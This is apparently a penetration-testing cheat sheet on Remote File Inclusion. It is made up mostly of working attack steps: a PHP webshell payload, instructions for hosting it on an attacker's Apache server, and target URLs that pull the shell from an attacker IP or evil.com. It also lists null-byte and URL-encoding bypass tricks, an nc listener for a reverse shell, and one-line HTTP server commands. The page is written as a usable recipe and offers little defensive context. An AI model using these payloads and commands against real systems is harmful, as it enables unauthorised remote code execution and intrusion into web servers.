RFI - Theory & basic commands

#Basics

Remote file inclusion (RFI)
  
1)evil payload hosted on kali + apache server  

2)nc listener to catch revshell  

โ€ฆ..file=http://192.168.177.119:8080/evil.txt

cat evil.txt
<?php system($_GET['cmd']); ?>
 
The โ€˜cmdโ€™ in the string will allow to execute any code once in place

3)move the evil.txt  to  /var/www/html/evil.txt

then start apache server:
sudo systemctl start apache2
check that is up and running
service apache2 status

once hosted in /var/www/html you can retrieve the evil webshell from the url
  
โ€ฆfile=http://192.168.119.177/evil.txt&cmd=ipconfig

#At this point escalate running a revshell on target

#Assorted tricks

http://target.com/index.php?page=http://$KaliIP/shell.txt   #vanilla
http://target.com/index.php?page=http://$KaliIP/shell.txt%00 #end with nullbyte
http://target.com/index.php?page=http:%252f%252fevil.com%252fshell.txt #encode the request

#Extra server options

Python : python โ€“m SimpleHTTPServer 8080
         python3 โ€“m http.server 8080

PHP : php โ€“S 0.0.0.0:8080

Ruby: ruby โ€“run โ€“e httpd . โ€“p 8000 

Busybox :  busybox httpd โ€“f โ€“p 10000

Last updated